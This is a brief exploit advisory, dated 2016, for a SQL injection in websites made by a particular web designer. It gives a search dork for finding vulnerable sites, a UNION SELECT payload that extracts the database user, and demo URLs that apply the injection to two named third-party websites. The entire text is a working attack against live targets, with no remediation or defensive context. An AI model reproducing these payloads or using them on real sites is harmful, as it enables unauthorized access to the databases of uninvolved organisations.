##################################################### > Exploit Title: SQL-Injection > Exploit Author: Sp3ctX | twitter.com/_Sp3ctX_ > Dork : Disseny Web: Webmastervic > Date : 2016/09/07 > Tested on : Debian 8 Jessie, Win 7 ##################################################### id: -3 UNION SELECT 1,2,3,4,user(),6,7,8,9,10-- ##################################################### Demo: http://www.madetres.es/detall-galeria-eng.php?id=-3 UNION SELECT 1,2,3,4,user(),6,7,8,9,10-- http://www.alacermas.com/eng/detall_noticia-esp.php?id=-3 UNION SELECT 1,2,3,user(),5,6,7,8,9,10,11,12-- #####################################################